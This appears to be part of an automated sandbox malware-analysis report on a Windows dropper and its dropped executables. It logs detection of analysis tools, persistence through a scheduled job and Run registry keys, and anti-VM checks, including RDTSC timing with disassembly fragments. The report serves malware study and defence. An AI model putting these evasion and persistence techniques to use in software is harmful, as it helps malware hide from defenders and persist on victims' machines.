Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 66c6d84346.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 66c6d84346.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 768041f87c.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 768041f87c.exe
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001CF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 6_2_001CF98E
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00241C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 6_2_00241C41
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C42E3 second address: 4C42E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C42E9 second address: 4C42ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C42ED second address: 4C3B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF8A1198181h 0x0000000e nop 0x0000000f pushad 0x00000010 xor dword ptr [ebp+122D2680h], edx 0x00000016 mov dword ptr [ebp+122D25EEh], eax 0x0000001c popad 0x0000001d push dword ptr [ebp+122D0BA5h] 0x00000023 mov dword ptr [ebp+122D1EA6h], ebx 0x00000029 call dword ptr [ebp+122D3859h] 0x0000002f pushad 0x00000030 jng 00007FF8A1198185h 0x00000036 xor eax, eax 0x00000038 cld 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007FF8A1198181h 0x00000042 mov dword ptr [ebp+122D2C4Eh], eax 0x00000048 jmp 00007FF8A1198186h 0x0000004d mov esi, 0000003Ch 0x00000052 pushad 0x00000053 stc 0x00000054 sub dword ptr [ebp+122D2146h], eax 0x0000005a popad 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f cmc 0x00000060 cld 0x00000061 lodsw 0x00000063 clc 0x00000064 add eax, dword ptr [esp+24h] 0x00000068 cld 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D1D04h], ecx 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 jl 00007FF8A119817Ch 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C3B09 second address: 4C3B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C3B0D second address: 4C3B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C3B13 second address: 4C3B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C3B17 second address: 4C3B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62E0A2 second address: 62E0AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A11CF036h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62E0AE second address: 62E0BC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A1198178h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62E0BC second address: 62E0C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63A453 second address: 63A458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63A458 second address: 63A468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63A8D3 second address: 63A8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63A8DA second address: 63A8F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63A8F0 second address: 63A917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 jbe 00007FF8A119817Ch 0x00000019 jns 00007FF8A1198176h 0x0000001f push eax 0x00000020 push edx 0x00000021 je 00007FF8A1198176h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63AA79 second address: 63AA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63AA7D second address: 63AA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63AA81 second address: 63AA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63AA87 second address: 63AA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF8A119817Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DAE7 second address: 63DAF1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8A11CF03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DAF1 second address: 63DB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007FF8A1198183h 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FF8A1198178h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 or dword ptr [ebp+122D1D12h], edi 0x0000002f mov dx, 1711h 0x00000033 push 00000000h 0x00000035 xor dword ptr [ebp+122D1EABh], ebx 0x0000003b call 00007FF8A1198179h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jnl 00007FF8A1198176h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DB54 second address: 63DB5E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DB5E second address: 63DBC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198186h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007FF8A1198189h 0x00000010 pop edi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jc 00007FF8A119818Bh 0x0000001b jmp 00007FF8A1198185h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF8A119817Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DBC1 second address: 63DBDA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A11CF03Ch 0x00000008 jo 00007FF8A11CF036h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DBDA second address: 63DBDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DBDE second address: 63DBF0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FF8A11CF036h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DF07 second address: 63DFDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FF8A1198178h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 add dword ptr [ebp+122D2625h], ecx 0x00000016 push 00000000h 0x00000018 call 00007FF8A119817Dh 0x0000001d sub edi, dword ptr [ebp+122D2BCAh] 0x00000023 pop edi 0x00000024 push 9E4B9917h 0x00000029 jmp 00007FF8A1198183h 0x0000002e add dword ptr [esp], 61B46769h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FF8A1198178h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f xor edi, dword ptr [ebp+122D2EB2h] 0x00000055 jo 00007FF8A1198179h 0x0000005b mov dx, si 0x0000005e push 00000003h 0x00000060 mov dword ptr [ebp+122D1D73h], ecx 0x00000066 push 00000000h 0x00000068 mov dword ptr [ebp+122D1D04h], edx 0x0000006e push 00000003h 0x00000070 mov esi, dword ptr [ebp+122D2155h] 0x00000076 push 6903CBA9h 0x0000007b jmp 00007FF8A119817Dh 0x00000080 add dword ptr [esp], 56FC3457h 0x00000087 mov edx, 14EE4600h 0x0000008c lea ebx, dword ptr [ebp+1244D99Eh] 0x00000092 mov ecx, dword ptr [ebp+122D2E9Eh] 0x00000098 mov edi, 5D198BECh 0x0000009d xchg eax, ebx 0x0000009e push eax 0x0000009f push edx 0x000000a0 jc 00007FF8A1198178h 0x000000a6 pushad 0x000000a7 popad 0x000000a8 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63DFDA second address: 63DFF3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A11CF038h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A11CF03Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65C93D second address: 65C943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65C943 second address: 65C973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF040h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF8A11CF045h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65CAEA second address: 65CB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198185h 0x00000009 pop ecx 0x0000000a jmp 00007FF8A1198187h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
